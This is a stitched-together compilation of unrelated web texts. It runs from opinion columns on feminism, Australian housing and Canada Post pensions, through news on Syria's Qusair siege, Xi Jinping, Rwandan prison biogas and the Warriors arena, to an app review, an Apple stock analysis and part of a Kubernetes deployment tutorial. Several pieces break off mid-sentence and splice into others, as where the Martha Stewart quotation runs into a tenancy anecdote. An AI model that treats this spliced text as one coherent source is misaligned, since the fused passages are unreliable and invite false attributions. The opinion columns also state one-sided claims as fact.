Gay men and women either accept that sexuality is a continuum and that not all people fall so perfectly on one side or the other, or we admit that we are no better than all of the antigay critics who have dismissed our legitimacy because they don’t understand us.
TYLER CURRY created the Needle Prick Project as an editorial and visual campaign to elicit a candid and open conversation on what it means to be HIV-positive today. To learn more about the Needle Prick Project, visit Facebook.com/getpricked or follow Tyler Curry on Facebook or Twitter at @iamtylercurry.As feminists complain about the ‘gendered expectations of Christmas,’ Martha Stewart blows them all out of the water in terms of being a woman and gracious hostess.
Today’s feminist is fighting for something: The right to never grow up.
Resident feminist Jessica Valenti has squinted so hard she has found sexism in a rather rudimentary task. In “No, I will NOT wrap all the presents,” Valenti decries the gendered responsibility for “holiday joy.” The holidays aren’t the most wonderful time of the year, they’re just another way the patriarchy reinforces gendered expectations.
Every single issue Valenti brings up stems from her expectations, not those of “the patriarchy.” As a certain Federalist contributor said, “Buy a gift bag.” The solution is really that easy. If you don’t have the temerity to shake off a glance at your store-bought cookies, that’s on you, not the entire male sex. Further, are any men judging your Christmas card arrival date? No, that is other women. The answer to sexism was evident this entire time. It’s women who are sexist.
This shouldn’t surprise anyone who’s seen mature reactions like this from the feminist smart set to a thoughtful piece by Emily Yoffe on civil rights challenges that have arisen from universities attempting to replace or supersede the criminal justice system.
Most feminist talking points center around dissolving responsibility. Whether it’s the idea that it’s verboten to advise women to look out for themselves, consider that men may have civil rights, or mention that getting completely drunk might lead to some poor decisions, feminism isn’t fighting for women. It’s fighting to keep girls from becoming women.
Gwyneth Paltrow, the Modern Face of Feminism
Now, this isn’t all feminism’s fault. Our larger culture has embraced the pursuit of perpetual youth. For women this means that life’s order of progressing from young woman to mother to family matriarch has fallen off the rails. With divorce, we’ve seen the rise of the cougar, a woman basically out doing what she was doing in her twenties instead now in her forties. In many ways, taking care of ourselves and looking better than previous generations is a blessing.
In other ways, having our outer visage remain youthful longer has led in some cases to a matching inside.
In other ways, having our outer visage remain youthful longer has led in some cases to a matching inside. Take Gwyneth Paltrow, with her customized Tracy Anderson workouts and passion for healthy eating. She looks wonderful for a woman her age, but she doesn’t show the mental maturity of a woman her age. From claiming she has it harder than other moms because, horrors, sometimes she has to spend two weeks in Wisconsin filming, to pretending she invented the breakup, or dreaming of a dictatorship, Paltrow might be a perfect example of today’s feminist.
Instead of taking a serious look into our country’s challenges, she says, when referring to President Obama, “It would be wonderful if we were able to give this man all of the power that he needs to pass the things that he needs to pass.” That’s the flight of fancy of a child, not someone who understands the reality of a dictatorship. Instead of accepting responsibility for a failed marriage, she invents “conscious uncoupling.”
There are some women who call BS on all this nonsense and remind us what mature women used to be like. Martha Stewart, a woman who owns family matriarch, likely isn’t the first person to wish that Paltrow would “just be quiet.” “She just needs to be quiet. She’s a movie star. If she were confident in her acting, she wouldn’t be trying |
on the front door that he would be willing to keep the rent the same as long as he could move in with us. My wife actually shrieked when I told her his proposal. Needless to say, we moved.
At least half the time at the beginning of the tenancy the cleaning will be shoddy, although you know at the end of the tenancy you will have to pay a professional to do a ‘bond clean’. The one we paid for last week cost us $1100, including carpets. This was the lowest price we could find.
We seem to live in a time now when everyone everywhere is getting angry about something. The root of my anti-establishment rage, if I am honest with myself as I look in the mirror, is the knowledge that we will work more and more as time goes on for less and less while never being able to afford a home. It is the lens through which all other disappointments and frustrations that come along are viewed. This is how revolutionaries are made. Or in my case, reactionaries.
At the end of the day, I’ve finally reached a point in my thinking where I don’t blame the Boomers anymore for the financialisation of Australian real estate and the economic fleecing of the young to serve the interests of the old. Market participants respond to incentives; it is the market creators who generate distortions and cronyism. This understanding is what has made me so anti-establishment. It was politicians buying votes, banksters seeking to farm the human cattle of this nation and unscrupulous developers engineering ‘land shortages’ (in Australia!) that has created the neo-feudal economy of 21st century Australia.
The promise of the New World was that all men could be kings on their own plot of land. God gave a whole world to Europeans to cultivate and to own. That promise has now disappeared. The same sinful greed that created the oppressive feudalism of late medieval Europe has now created the oppression of neo-feudal, bankster-owned postmodern Australia. It is not the king who takes our increase, but the financial oligarch at the top of the global banking pyramid who uses mortgages to farm the wealth of the planet. The early medieval serf gave 10% and kept the rest, enjoying months off every year. The postmodern serf gives 40% to the government to fund Boomer healthcare then 30% of the remnant to the banksters in debt repayments. Who is more free?
If nothing changes, my wife and I are now considering moving to Singapore in 2018. Although the cost of real estate there is also exorbitant, economic opportunities abound and lower tax rates make it much more likely that, in the long run, we can own a family home of some description. As I type this, surrounded by boxes that we will again spend our week off work unpacking and organising, a question keeps popping into my mind unbidden for the Boomer gerontocracy of Australia. Was it worth it? Did it ever really make you rich? Was the Australian dream that you made an obsession really all that it was cracked up to be, or should we have dreamed bigger?Joss Whedon, infamously and sadly, spent a lot of time developing a Wonder Woman movie for Warner Bros. that, ultimately, they just wouldn’t make. But why didn’t they give him the go ahead? Perhaps his recent interview with The Daily Beast explains:
Toymakers will tell you they won’t sell enough, and movie people will point to the two terrible superheroine movies that were made and say, You see? It can’t be done.
Toys. Again. Terrible.
Whedon went on:
It’s frustrating to me that I don’t see anybody developing one of these movies. It actually pisses me off… I read a beautiful thing Junot Diaz wrote: “If you want to make a human being into a monster, deny them, at the cultural level, any reflection of themselves.”
But he’s not just complaining about this issue, as Whedon’s going to be part of the solution.
Back to the female-hero thing, I’m not going to let nobody do it. It doesn’t have to be me, but it could be.
And why should there be only one? Why should there be just enough for a tiny a female-hero movie ghetto?
Marvel’s a great source for these films with plenty of great characters to draw on. There’s Black Widow and Maria Hill already, of course, and they could easily get expanded roles or projects of their own; there’s Ms. Marvel, She Hulk, Kate Bishop, Mockingbird, Jessica Jones, Wasp, Scarlet Witch – who is already set to show up in the Avengers sequel – and many more.
Ms. Marvel will come first, I bet… and if so, I have a hunch that it will be a phenomenon.
Incidentally, Whedon also has other projects in mind, mentioned in more or less the same breath:
I’d love to do a ballet, but I’m still thinking about how to stage it.
That’s as good as a promise, I think. We may have to wait a while, but there’s a ballet coming, I’m sure of it now he’s started thinking about it.
This is the second of two Joss Whedon stories I’m publishing more or less back-to-back. They’re each a different talking point. Check out the other, and join in on the forum…
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None foundiOS apps are, for me, a lot like cable channels: No matter how many I have on my iPad or my iPod touch, I only use a dozen or so on a regular basis. The others I don't delete because they give me some feeling of comfort, as in, "I may need this one day."
GoodReader 4 provides users with useful file management tools, like file compression and extraction.
GoodReader, which I've been using for more than four years, has been one of the few that I've never even considered deleting, because it's proven useful in so many ways. Its core functions have been, and remain, in the realms of PDF file management, viewing, and annotation.
The $7 GoodReader 4, released recently by Good.iWare, is an entirely new app in the sense that it must be paid for and downloaded from the App Store even if you've already purchased earlier versions for the iPhone or iPad. After downloading, upgraders can use GoodReader 4's built-in migration assistant to transfer files, folders, and settings from the earlier version.
Perhaps it requires a separate download because this version is a universal app, unlike its still-available predecessors. It also includes PDF file creation, extraction, merge, and editing functions not available in GoodReader for iPhone and GoodReader for iPad versions 3.21 and earlier.
This file began as a form downloaded from the web using GoodReader 4's built-in browser. It was subsequently annotated using the typewriter, drawing, and sticky note tools.
The newer version of GoodReader has, in addition to new capabilities, a slick new look and feel. Often a striking visual update accompanied by added functionality comes with a steep learning curve for long-time users, but GoodReader 4's design is clearly built upon that of earlier versions. In short, if you're upgrading, you can get right to work (or play) with the new version and learn the app's new features as you go. New users will be treated to an elegant, largely intuitive interface that deftly accommodates the app's many and complex capabilities.
While there are a number of other good PDF readers and editors for iOS, as well as robust apps for viewing videos and listening to audio files, GoodReader for iPhone and GoodReader for iPad have long stood out for doing all of these things well, and GoodReader 4 is a clear improvement from earlier versions.
GoodReader 4 builds on the earlier versions' already excellent file and folder management tools. Users can import PDF files from Mobile Safari using the "Open In..." extension (known technically as iOS’s inter-app Document Interchange), and you can also import Web pages and PDFs using GoodReader 4’s built-in (but bare-bones) browser. That said, the app works most smoothly when used in conjunction with Dropbox, Google Drive, box.net, iCloud, and other cloud storage services. You can set up GoodReader to download, upload, and automatically sync files and folders to these services; the app also supports downloading attachments from email accounts.
This version is a universal app, and provides the same robust PDF editing tools on the iPhone and iPad. The ability view documents at 50 times their original size makes using the app's tools on a small screen a breeze.
The newer app, like the original, enables you to mark up and annotate PDF documents in many ways: You can draw using ovals, rectangles, straight-lines, arrows, and freehand tools in any color and thickness, highlight text and images, and insert text boxes and pop-up sticky notes. (When you begin to annotate a file, the app automatically prompts you with an option to create a copy of the document for notation purposes, a very useful reminder that it is often a good idea to keep an untouched original. A very nifty feature is the ability to view, save, and email only your annotations.)
Besides the new look, the upgrade includes a slew of new PDF page management tools, including the ability to easily add, delete, and rearrange a document's pages. You can also now extract pages as new files, email individual pages, split documents, and append pages from other documents. Long documents are now much easier to notate and navigate thanks to a faster PDF rendering engine and a thumbnail page viewer. You can also now create new blank PDF files from within GoodReader.
Bottom line
GoodReader 4 now coexists with the separate versions of GoodReader 3 for the iPhone and iPad, and seeing as these separate apps cost $5 each, the $7 universal version is a bargain for most new users. If you currently use GoodReader 3.21 or earlier, the upgrade is probably worthwhile simply for its revamped look and speedier PDF viewing and navigation capabilities.In China, Apple is playing second fiddle to Samsung as consumers are demanding phones with larger screens at cheaper prices – the new iPhone 5s runs about $875 dollars in the country, while the Samsung Galaxy S4 is $775 and the older model Samsung Galaxy Star Pro is available for just over $100.
Even with the introduction of the entry-level iPhone 5c, recent reports have Apple’s Chinese mobile market share ranging anywhere between just 8-12%, while Samsung has a 21% market share and Android phones have a 79% market share.
Apple cannot have pricing power and market share at the same time. No business can for an extended period of time. The problem with Apple stock is that it is priced for the company to achieve market share penetration and growth at high prices.
The reality is that the quality of Apple products versus competitors is declining. Prices will have to come down just to maintain market share.
The competition is catching up in terms of the technology in their phones, but they’re also catching up to Apple in terms of the overall user experience. For the last three years, Forrester Research has done customer-experience surveys of the consumer electronics sector. This year, for the first time, Sony, Microsoft and Samsung all finished narrowly ahead of Apple.
Apple did not do poorly in the survey. In fact, it improved its score from 79 last year to 81 this year, well in the range that Forrester considers “good”. However, its three competitors all made bigger improvements from this year to last. Meanwhile, Amazon (AMZN), whose Kindle competes with the iPad, came in way ahead of the pack with an excellent score of 91.
Apple’s struggles in China and the recent Forrester Survey reaffirm my belief that the company’s competitive advantage is declining. Past innovations, both in their products and the way those products are sold, no longer make Apple clearly superior to the competition. The stock, which currently trades at ~$540, is priced for the company’s past successes, when Apple could preserve market share even with huge margins. AAPL’s valuation is only fair if investors assume that the company can sustain a return on invested capital (ROIC) of 130% into perpetuity.
Over the past two years, Apple’s ROIC has been cut in half, from 340% to 170%. In 2013 its after-tax profit (NOPAT) margin declined from 27% to 21%.
If Apple’s ROIC were to fall to 70%, around the level of Microsoft (MSFT), a fair share price would be $347. If it falls to 35%, around the level of Google (GOOG), the stock is worth ~$240/share. With Apple’s era of explosive growth long behind it, and a bevy of competitive alternatives for consumers to choose from, investors can expect a more down-to-earth return on capital and downward pressure on its share price.
André Rouillard and Sam McBride contributed to this report.Syrian tanks and war planes shelled the strategic rebel-held town of Qusair near the border with Lebanon on Sunday, killing at least 30 people. The town has been under seige for weeks by pro-regime forces backed by Lebanese militant group Hezbollah.
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Syrian troops backed by tanks and warplanes launched an assault Sunday on a strategic rebel-held town near the Lebanese border, pounding the area with airstrikes and artillery salvos that killed at least 30 people and forced residents to scramble for cover in basements and makeshift bunkers, activists said.
The town of Qusair has been besieged for weeks by regime troops and pro-government gunmen backed by the Lebanese militant Hezbollah group. The siege is part of a regime offensive that aims to regain control of the towns and villages along the frontier with Lebanon.
The border region’s strategic value is twofold: it links Damascus with the Mediterranean coastal enclave that is the heartland of President Bashar Assad’s Alawite sect, an offshoot of Shiite Islam; and rebels smuggle weapons and supplies from Lebanon across the porous frontier to opposition fighters inside Syria.
The Britain-based Syrian Observatory for Human Rights said 30 people, including 16 rebel fighters and one woman, were killed in Qusair in fighting Sunday morning, but that the death toll was expected to rise as government troops continue to try to push into the town.
A government official in the nearby provincial capital of Homs said that regime troops have encircled the town and that “the offensive to liberate Qusair has begun.”
The official, who spoke on condition of anonymity because he was not authorized to brief the media, said the army has built up its forces on three fronts around Qusair while leaving one clear for “safe passage for fleeing civilians and the armed terrorists who want to surrender.”
The official said government forces have advanced into the town, taking over the municipality building and other vital government institutions.
But Hadi Abdullah, an activist in Qusair reached on Skype, denied the regime made any advances on the ground. He said the municipality was destroyed in fighting six months ago, and that there’s no government building left to take over.
He said heavy shelling began late Saturday and continued through Sunday, and that civilians have sought shelter in basements
“It’s the heaviest since the beginning of the revolution,” he said, adding that at least 17 houses have been destroyed.
The discrepancy in the accounts could not be immediately verified.
Separately, an official at the Homs governor’s office said two suicide bombings in the town of Deir Balbaa just outside of Homs killed at least three people and wounded 15 others. The official declined to be identified because he is not allowed to make public comments.
Another pair of bombings struck near a factory on a different Homs highway, killing four people and wounding 13, the state news agency reported.
The regime’ offensive on Qusair comes as the United States and Russia push a joint effort to get Assad and his opponents to negotiate an end to the country’s civil war. Previous attempts to solve the conflict peacefully have failed.
The U.S.-Russian plan, similar to one set out last year in Geneva, calls for talks on a transition government and an open-ended cease-fire.
More than 70,000 people have been killed and several million displaced since the uprising against Assad erupted in March 2011 and escalated into a civil war. The fighting has also spilled over into neighboring states, including Turkey, Iraq, Lebanon and Israel, all of which are anxious about the ripple effect of Syria’s conflict on their own nations.
On Sunday, Israeli Prime Minister Benjamin Netanyahu warned at a weekly Cabinet meeting Sunday that the Jewish state was prepared to act if there were more shipments to Hezbollah from Syria.
“We are following the developments and changes there closely and we are prepared for every scenario,” he said.
Israeli warplanes carried out two rounds of airstrikes on Damascus early this month on what officials have said were sophisticated missiles bound for Hezbollah.
On Saturday, Assad said in a newspaper interview that he won’t step down before elections and that the United States has no right to interfere in his country’s politics.
Assad’s comments to the Argentine newspaper Clarin were the first about his political future since Washington and Moscow agreed earlier this month to try to bring the regime and the opposition to an international conference for talks about a peaceful resolution to the conflict. The U.S. and Russia have backed opposite sides in the conflict, but appear to have found common ground in the diplomatic push.
The White House and the Kremlin envision holding the meeting next month, but no date has been set. Neither Assad nor the Syrian National Coalition, the main Western-backed opposition coalition group, has made a firm commitment to attend.
In the interview, Assad seemed to play down the importance of such a conference, saying a decision on Syria’s future is up to the Syrian people, not the U.S. He also said a decision on his political future must be made in elections, and not during such a conference.
As the regime and opposition decides whether to even take part in the conference, the planning for the potential talks looked set to move forward.
Jordan is to host Western and Arab foreign ministers, including U.S. Secretary of State John Kerry, for a meeting Wednesday that brings together the Syrian opposition’s foreign supporters to plan for the peace talks.
In Egypt, the Arab League said its ministerial committee on Syria will meet Thursday to discuss ways to convene the international conference on Syria. The Syrian opposition said they will meet in Turkey that same day to discuss whether to take part in an international conference on the conflict.
(AP)The Communist party prepares to hail mid-point of Xi Jinping’s 10-year term. But what do people make of their leader?
Like most residents of the sun-kissed fishing village of Tanmen, Huang Jie will never forget the day China’s “chairman of everything” came to town. It was the afternoon of 8 April 2013 – just a few months after Xi Jinping had taken power – and he was using one of his first presidential trips to pay a morale-boosting visit to the sailors on the frontline of Beijing’s quest to control the South China Sea.
“He was just over there,” reminisced Huang, the 45-year-old owner of a harbour-side equipment shop, motioning excitedly into the street to where Xi’s motorcade passed by. “The window was half open and he looked out at us and smiled. When he waved, it was as if it was in slow motion – he didn’t say a single word, but I felt so excited.”
Beijing struggles to curb poverty and pollution while keeping its markets open to competition | Phillip Inman Read more
Almost five years after his tour of Tanmen, Xi is celebrating what should be the mid-point of a 10-year stint at the helm of the world’s second largest economy. China’s political elite will descend on Beijing on Wednesday to salute a 64-year-old strongman who is now so powerful that a new body of ideology may be written into the constitution, putting him in the same political league as the nation’s founder, Mao Zedong.
For critics, foremost among them liberal intellectuals and human rights activists, Xi’s first term has proved calamitous. Some had hoped he would prove a political reformer. Instead China’s authoritarian leader has waged war on dissent with unexpected ferocity, throwing some opponents in jail and forcing others overseas. Hardcore objectors call him “Xitler”.
Abroad, Xi has also accrued detractors, irking nations large and small for his assertive – some say domineering – foreign policy initiatives. Perhaps nowhere has that swagger manifested itself more clearly than in the politically charged waters around Tanmen, where Beijing is using “maritime militia” groups to push highly controversial sovereignty claims over about 90% of the South China Sea.
But as Xi completes his first term, experts say that many of China’s 1.4 billion citizens see him in a far more favourable light.
“Whatever people may have to say about Xi Jinping, he has actually been a popular leader,” said Steve Tsang, head of the China Institute at the School of Oriental and African Studies in London. “The economy remains strong … corruption has been contained … China is internationally much more accepted as being in the top league and is calling the shots … In Trumpian terms, he’s managed to make China look great again.”
Facebook Twitter Pinterest The Qionghai 09045 fishing boat that Xi Jinping boarded during his 2013 visit to Tanmen in Hainan receives a fresh lick of paint. Photograph: Tom Phillips for the Guardian
Cheng Li, director of the Brookings Institution’s John L Thornton China Centre in Washington, said Xi’s popularity is stronger among poorer citizens. “Of course, there is a lot of criticism from intellectuals about the personality cult and the tight control,” he said. “But Xi Jinping’s popularity is solid among the laobaixing [common folk]. They see him as a strong leader … He gets things done. He makes Chinese people proud. There is a tendency to view him as the third great leader since Mao, Deng and then Xi.”
In Tanmen, on the eastern coast of Hainan – an eye-shaped tropical island some call China’s Hawaii – some go even further. “In 5,000 years of Chinese history not a single national leader has set foot in Tanmen. It’s something we could never have dreamed … We are grateful to Chairman Xi,” beamed Zhong Wenfeng, the owner of a waterfront souvenir shop that sells conches and starfish plucked from the South China Sea.
Part of the adulation expressed here seems drawn almost verbatim from the intense and inescapable propaganda with which China bombards its citizens. “Chairman Xi is a world leader. His book on governance has sold out in many countries across the world,” Zhong gushed, parroting the unashamedly hagiographic bulletins in which the party news agency Xinhua excels.
Outside his shop, a portrait of Xi – his hands clasped together – captured the image spin doctors have tried to curate of their commander-in-chief: a sagacious and omnipotent father figure leading his subjects towards “The China Dream”. An accompanying slogan stated: “The Dream of a Powerful Country. The Rejuvenation of China. The Happiness of the People. The Wealth of the Nation.”
Yet there seems to be heartfelt affection, too. Over and over Tanmen residents used the same adjectives to describe their most famous guest: ci xiang (kindly) and he ai ke qin (affable). “He treats people well … He seems like a good guy to us,” said Shi Jiquan, a 54-year-old fisherman. “He seems like a very easy-going and warm person,” said Zhong. “In our hearts and in our minds he is better than previous leaders,” agreed Huang.
China's Communist party congress – all you need to know Read more
Observers say that Xi’s domestic veneration is largely the result of his populist anti-corruption crusade. In January 2013, just a few weeks before visiting Tanmen, Xi declared war on thieving tigers and flies – top officials and low-rank bureaucrats – describing their crimes as an existential threat to the Communist party’s grip on power. Dozens of top officials – often Xi’s rivals – have since been felled, including the former security chief, Zhou Yongkang, the army’s second most senior officer, Xu Caihou, and Sun Zhengcai, who some tipped as a future president. “Xi might not have people’s admiration, but he has certainly got their respect,” said Kerry Brown, the head of the China Institute at King’s College London. “In a multiparty democracy, I think he would probably be in a good position to be re-elected.”
Orville Schell, a veteran China expert from New York’s Asia Society, said he sensed “a cauldron of disaffection” bubbling beneath the surface towards China’s political leaders. But many citizens applauded how Xi was strutting China’s stuff on the world stage. “I suspect that on a surface level – but an important level – many Chinese feel a certain amount of pride that their country is now able to speak, even throw its weight around a little, and be heeded in the world,” he said.
Tsang said there was particular delight at how Xi appeared to be winning the geopolitical arm-wrestle with Donald Trump, who swept to power vowing to challenge Beijing on everything from trade to Taiwan, North Korea and the South China Sea, but has so far failed to match those threats with actions.
Xi had ceded almost no ground to Trump on any of these issues, Tsang said. “And what have the Americans done? Nothing! So you can see why the average Chinese citizen might think Xi Jinping was doing really well.”
At Tanmen’s docks, Qin Huaishu, another of the president’s fans, was giving a new lick of paint to Qionghai 09045, a weathered fishing vessel that was turned into a permanent floating monument to Xi after he clambered on board during his 2013 visit.
“Xi chatted with the fishermen about their daily lives and went downstairs to check the engine,” recalled Qin, a 55-year-old workman. “Xi told the fishermen: ‘Go out and be bold. We support you all’.”
A few blocks away, at Tanmen’s fishermen association, there were further tributes. Just inside the door hung a framed photograph memorialising the day Xi visited. A copy of Xi’s tome, The Governance of China, sat in pride of place on the desk of the association’s president, Ding Zhile.
Speaking to a local Communist party newspaper at the time, Ding boasted that Xi had shaken his hand on two separate occasions. He described China’s leader as “happy”. Five years on, however, he refused to share his memories of the afternoon he spent with one of the most powerful men on earth. “We’re not talking to any foreign media, no matter who you are,” he snapped. “Please put yourself in my shoes. I have problems of my own.”
The “chairman of everything” looked down from the wall behind him in an immaculately ironed blue shirt.
Additional reporting by Wang Zhen
RISE OF XI JINPING
15 June 1953 Born into well-connected political family. His father, Xi Zhongxun, fell out of favour in the Cultural Revolution but was later rehabilitated.
1987 Marries folk singer Peng Liyuan.
1999-2007 Becomes governor of Fujian province and later party secretary of neighbouring Zhejiang province.
November 2012 Appointed general secretary of Communist party and in 2013 president of China. Led aggressive campaigns over territorial claims on South China Sea.
October 2017 The Economist declares Xi the most powerful man in the world.The Canadian Union of Postal Workers labour dispute with Canada Post — its 21st time in the past 50 years since the union was formed — reminds of the adage “You should be careful what you ask for.” Times have changed.
There was a time when a postal strike would have knocked Canada to its knees. Now, in an era of emails, fax machines, and couriers, fewer people use Canada Post. Canadians, by and large, will give a collective yawn to a postal strike. The union’s position in this dispute belies its lack of bargaining power.
Postal workers are compensated based on that historical bargaining power. They are dramatically overpaid relative to their qualifications and skill, on average letter carriers in urban areas make $50,000 a year, rural carriers, about $39,000. But by my estimation the job, which pays several times the minimum wage, can be performed by anyone regardless of education, experience, or training. In a genuinely free market, these workers would make much less.
But salaries are the least of it. Like most public sector employees, they also enjoy defined-benefit pension plans, which no longer exist in the private sector. The relatively few private sector employees fortunate enough to enjoy any pensions have defined-contribution plans. With a defined-benefit plan, a set pension amount is guaranteed for life, regardless of how the plan performs, whereas defined-contribution plans pay out according to the value of the monies in the plan.
Keeping its defined benefit pensions, CUPW said at the start of the labour dispute, was its key issue. When it began receiving blow-back from taxpayers, it quickly revised its talking point to “pay equity.” Now, what they are arguing is that because rural postal carriers are predominantly female, and urban letter carriers male, Canada Post is purportedly breaching pay equity legislation.
Yet, the existing wage disparity for letter carriers in urban vs. rural areas was negotiated by the union based on living costs in each. This is a red herring meant to develop public sympathy for a union that deserves none.
To be clear, the major issue here is Canada Post’s demand that new employees receive defined-contribution plans while existing workers retain their unaffordable defined-benefit pensions. To put this in perspective, the shortfall for Canada Post’s defined-benefit pension plan as of the first quarter of 2016 is $6.1 billion, up from about $3.4 billion two years ago. With interest rates likely to remain low, the shortfall will continue to grow exponentially. That deficit is picked up by Canadian taxpayers, in addition to $3 of pension contributions for every dollar paid by postal workers.
As Bill Tufts, author of Pension Ponzi, notes, the city of St. John’s, NL, last year, facing potential insolvency, converted new employees into a defined contribution plan, the same route Canada Post suggests. I have long noted it makes little sense for Canadian taxpayers to be paying its employees i.e. public servants, including employees of Crown Corporations, more in wages or benefits than they themselves earn for jobs with the same qualification, workload and skill levels.
It’s time Canada Post use its substantial bargaining power to at least freeze wages and convert the defined-benefit plan to a defined-contribution plan for all employees. It has an historic opportunity to begin equalizing its employees wages and benefits to comparative private sector jobs such as couriers and those handing out flyers door to door.
Canada Post is well situated to use this opportunity with a union without bargaining power to redress the historic overcompensation of its members.
Canada Post’s capitulation has been foretold by its request for arbitration which, in an act of folly, the union rejected. It is of note that arbitrators, who would determine the dispute, without a strike or lock-out, have historically favoured unions.
(The over-inflated wages and benefits in the public sectors have almost uniformly been imposed by arbitrators, not through a strike or lock-out.)
Canada Post has the largest number of employees among federal Crown corporations. Its pension shortfall is proportionally the largest. It is well situated to use this opportunity with a union without bargaining power to redress the historic overcompensation of its members. If it succeeds and members quit as a result (which they won’t), they are easily replaceable. If postal workers opt to strike, it would be seamlessly simple to replace them for the duration of a strike, with employees delighted to have a job at lower wages than the incumbents.
Canadians should not permit Canada Post management to relinquish this opportunity. Our public financing depends upon rolling back federal service defined-benefit plans. Given CUPW’s weak bargaining power we may not obtain another such opportunity. Canada Post should not be permitted to foil it by punting the dispute to an arbitrator.
Howard Levitt is senior partner of Levitt LLP, employment and labour lawyers. He practises employment law in eight provinces. Employment Law Hour with Howard Levitt airs Sundays at 1 p.m. on NEWSTALK 1010 in Toronto.
hlevitt@levittllp.com
Twitter.com/HowardLevittLawA group of civil servants in Montreal frustrated with the Phoenix payroll system managed to take their concerns straight to the top this week.
About a dozen employees from the Department of National Defence occupied the constituency office of Prime Minister Justin Trudeau in his Papineau riding Thursday morning and demanded a meeting. They wanted to lay out their concerns on the many flaws in the new government-wide Phoenix pay system that has led to tens of thousands of federal employees being underpaid, overpaid or receiving no pay at all.
"We went there and told the employees we wanted to talk to him and that we wouldn't leave without talking to the prime minister," said Simon Richard, a defence department employee and local representative for the Public Service Alliance of Canada.
Richard said his colleagues were respectful and didn't interfere with Trudeau's staff as they went about their work. But they fully expected to be thrown out. Instead, after meeting with Trudeau's executive assistant, they were told the prime minister would be able to meet with them later in the day.
"It was a surprise, because mainly we were thinking about being, like, kicked out of the office after 30 minutes," Richard said in an interview with CBC News.
Trudeau's office arranged a conference call between the union members and the chief of staff for Public Services Minister Judy Foote, a call that lasted roughly 90 minutes.
Toward the end of the day, six hours after the employees first occupied his office, Trudeau met with the group for about 15 minutes. He listened to their concerns and even posed for a few photos. But Richard said the prime minister made no specific promises about fixing Phoenix.
Pleased to meet Trudeau
"He just confirmed that all the promises that have been done by his ministers, and all the deputy ministers, would be taken seriously," Richard said.
Despite receiving no firm commitments, Richard said he and his colleagues were pleased to meet with Trudeau. They do, however, want to see action to resolve the many issues that have plagued the Phoenix system.
"We are satisfied with the outcome of that day and we will wait for the results," Richard said.
A spokesperson for the prime minister said he would not describe the incident as a normal occurrence, but in this instance the prime minister thought it would be the right thing to do.
The federal government has said it could cost up to $50 million to fix Phoenix. The government this week argued before the Public Service Labour Relations Board that problems with the system were the result of an "honest administrative error" brought about by insufficient training, and not the technology itself.In order to reduce energy costs and protect Rwanda's forests, the country's 14 prison have introduced biogas burners, so they are now 75% powered by the inmates' own waste. The burners need one thing - a regular, reliable supply of waste - and jails are perfect.
Almost 8,000 prisoners live in Nsinda Prison, most of them convicted of involvement in Rwanda’s 1994 genocide. Under the constant watch of guards, they work the immaculate fields surrounding the prison in Rwamagana district, about 60km (25 miles) east of the capital, Kigali. They farm beans, maize, bananas and cassava - most of which ends up inside the pot in one of the prison’s two large kitchens.
One of Nsinda Prison's two kitchens runs off the faint blue flame from a series of biogas burners. A number of the inmates were engineers before entering the prison. They worked with the Institute of Technology in Kigali to build the biogas plant at the back of the prison.
The biogas is produced by combining the inmates' waste from Nsinda Prison's 24 toilets with cow dung from the jail’s farm cows and water. The prisoners’ diet is not rich enough to produce top quality gas on its own but the pungent cocktail of human and animal waste produces premium gas.
The gas is created and stored in a series of 12 digesters beyond the prison walls. Each digester holds 100 cubic metres (3,530 cubic feet) of biogas. The prisoners maintain the digesters themselves, regularly checking for leaks and faults in the field at the back of Nsinda Prison.
"By 2013 there will be no firewood in prisons," said Inspector Emmanuel Ndori, director of biogas production in Rwanda's prisons. However, for the moment, half of Nsinda Prison still runs on the firewood chopped by the inmates within the prison grounds. This will also be phased out completely when peat is introduced.
The prisoners eat twice per day - the same thing every day. Cassava porridge in the morning, maize and beans in the afternoon. Come lunchtime, the non-biogas kitchen in Nsinda Prison is filled with the smell of boiling maize and intense, eye-watering wood smoke.
A far cry from the choking, firewood kitchen next door, the biogas kitchen is odour-free and smokeless. The biogas is pumped from the digesters via a series of pipes. The prisoners light the crudely fashioned gas rings on the 10 mammoth stoves to produce a faint, blue powerful flame.As we first reported last month, the Golden State Warriors proposed Mission Bay Arena has been redesigned to flush-away the snarky “toilet” commentary the earlier design evoked. And for the first time, the proposed arena and adjacent five-and-a-half-acre Bayfront Park which will accompany the development have been rendered in full.
Under the revised design by MANICA Architecture (while Craig Dykers of Snohetta remains a Senior Design Advisor for the project, the Lead Architect is now David Manica), the bulky event hall on the northeast corner of the arena is gone, replaced by a more elegant and asymmetrical Bayfront Terrace, overlooking Bayfront Park and the Bay Bridge beyond.
A 24,000 square foot plaza would occupy the southeast corner of the site, at 16th and Terry Francois Boulevard.
And in addition to the 18,000 seat arena, the updated design includes:
More than 100,000 square feet of mostly food-oriented retail space
3.2 acres of plazas and public space, including the plaza above and a 35,000 square-foot plaza along Third
Approximately 580,000 square feet of office/biotech/lab space
Approximately 950 parking spaces for autos in three concealed/underground levels, and
300 spaces of permanent valet parking for bikes
The Warriors hope to have the Mission Bay arena constructed in |
the necessary ports used by Kubernetes. Follow this list and enter them into Horizon.
Let ‘Er Rip!
Now that Terraform is setup, we should be able to launch our cluster and have it provision using the Kargo playbooks we checked out. But first, one small BASH script to ensure things run in the proper order.
Create a file called cluster-up.sh and open it for editing. Paste the following:
#!/bin/bash ##Create infrastructure and inventory file echo "Creating infrastructure" terraform apply ##Run Ansible playbooks echo "Quick sleep while instances spin up" sleep 120 echo "Ansible provisioning" ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook \ -i kargo/inventory/inventory -u ubuntu -b kargo/cluster.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash ##Create infrastructure and inventory file echo "Creating infrastructure" terraform apply ##Run Ansible playbooks echo "Quick sleep while instances spin up" sleep 120 echo "Ansible provisioning" ANSIBLE_HOST_KEY_CHECKING = False ansible - playbook \ - i kargo / inventory / inventory - u ubuntu - b kargo / cluster. yml
You’ll notice I included a two minute sleep to take care of some of the time when the nodes created by Terraform weren’t quite ready for an SSH session when Ansible started reaching out to them. Finally, update the -u flag in the ansible-playbook command to the user that has SSH access to the OpenStack instances you have created. I used ubuntu because that’s the default SSH user for Ubuntu cloud images.
Source your OpenStack credentials file with source /path/to/credfile.sh
Launch the cluster with./cluster-up.sh. The Ansible deployment will take quite a bit of time as the necessary packages are downloaded and setup.
Assuming all goes as planned, SSH into your Kubernetes master and issue kubectl get-nodes :Subtitle: The Fleecing of Sacramento’s Taxpayers
